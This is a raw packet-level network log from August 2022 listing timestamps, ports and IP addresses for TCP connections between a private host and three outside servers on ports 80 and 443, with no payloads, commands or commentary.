Aug 23, 2022 03:43:00.164612055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.164649963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.164696932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.164711952 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.164743900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.164748907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.164760113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.164793015 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.164813042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.164841890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.164858103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.164891005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.164905071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.164933920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.164948940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.164983988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.164998055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.165035009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.165044069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.165069103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.165083885 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.165116072 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.166049957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.166081905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.166104078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.166132927 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.166147947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.166171074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.166193962 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.166227102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.166281939 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.166321039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.166347980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.166399002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.166410923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.166443110 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.166466951 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.166502953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.168382883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.168431044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.168457985 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.168497086 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.168514967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.168548107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.168596029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.168616056 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.168626070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.168658018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.168688059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.168729067 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.168754101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.168781996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.168801069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.168842077 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.168860912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.168900967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.168921947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.168966055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.168982983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.169013977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.169035912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.169073105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.170234919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.170283079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.170303106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.170336008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.170361996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.170394897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.170424938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.170470953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.170491934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.170548916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.170572042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.170605898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.170722961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.170759916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.170783997 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.170823097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.170845032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.170900106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.170912027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.170953035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.170977116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171010017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171046972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171086073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171097040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171152115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171164036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171205997 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171225071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171257019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171276093 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171318054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171336889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171389103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171421051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171474934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171487093 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171526909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171539068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171577930 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171601057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171652079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171664000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171703100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171725035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171756983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171776056 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171813965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171838999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171885014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.171905041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171943903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.171967983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172000885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172020912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.172060013 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.172082901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172128916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172148943 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.172193050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.172213078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172245979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172286034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.172310114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172353029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.172373056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172403097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.172430992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.172458887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172492981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172518015 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.172559977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172606945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.172621012 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.172652960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172708035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172719955 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.172764063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172775984 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.172823906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172864914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.172894001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.172919989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.172970057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173015118 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173047066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173070908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173098087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173120975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173161983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173178911 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173213005 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173242092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173274040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173297882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173322916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173348904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173393965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173404932 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173458099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173476934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173516989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173528910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173573017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173589945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173633099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173649073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173688889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173711061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173734903 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173751116 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173799038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173810959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173849106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173866034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173908949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173919916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.173955917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.173966885 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.174010992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.174029112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.174060106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.174086094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.174132109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.174165964 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.174190044 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.174200058 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.174232960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.174271107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.174313068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.174330950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.174375057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.174400091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.174433947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.174454927 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.174483061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.175309896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.175384045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.175405979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.175447941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.175468922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.175498962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.175517082 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.175565958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.175641060 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.175683975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.175713062 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.175740957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.175796032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.175827980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.175858021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.175879955 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.175903082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.175950050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.175970078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.176012993 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.176045895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.176059961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.176095009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.176139116 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.204336882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.204386950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.204421997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.204447031 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.204463005 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.204473972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.204498053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.204545021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.204606056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.204639912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.204658031 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.204682112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.204708099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.204730988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.204788923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.204868078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.204885960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.204921007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.204960108 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.204974890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.204989910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205019951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205053091 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205070019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205084085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205118895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205135107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205168962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205188036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205213070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205240011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205272913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205295086 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205329895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205355883 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205378056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205393076 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205420017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205440044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205476046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205495119 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205528021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205553055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205569029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205602884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205621004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205643892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205678940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205713034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205729961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205744028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205770016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.205796957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.205813885 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.210932970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.210978031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.211018085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.211038113 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.211069107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.211097956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.211132050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.211148977 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.211174011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:07.173382044 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:07.173852921 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:07.208062887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:07.208224058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:07.208453894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:07.518654108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:07.518785954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:14.102616072 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:43:14.102673054 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:43:14.102713108 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:43:14.141539097 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.141583920 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.141613960 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.141621113 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:43:14.141647100 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.141690969 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.141721010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.141751051 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.141793013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:43:14.141818047 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:43:14.180052996 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.180116892 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.180156946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.180186033 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.180216074 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.180244923 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.180278063 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.180311918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.268030882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:43:14.268132925 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:43:19.746478081 CEST	49819	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:19.746536016 CEST	443	49819	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:19.746651888 CEST	49819	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:19.746862888 CEST	49819	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:19.746877909 CEST	443	49819	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:19.808971882 CEST	443	49819	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:19.809343100 CEST	49819	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:19.809384108 CEST	443	49819	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:19.812225103 CEST	443	49819	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:19.812339067 CEST	49819	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:19.987586021 CEST	49819	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:19.987772942 CEST	49819	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:19.987786055 CEST	443	49819	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:19.987925053 CEST	443	49819	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.050607920 CEST	443	49819	142.250.180.170	192.168.2.4
Aug 23, 2022 03:43:20.050825119 CEST	49819	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.052197933 CEST	49819	443	192.168.2.4	142.250.180.170
Aug 23, 2022 03:43:20.052234888 CEST	443	49819	142.250.180.170	192.168.2.4
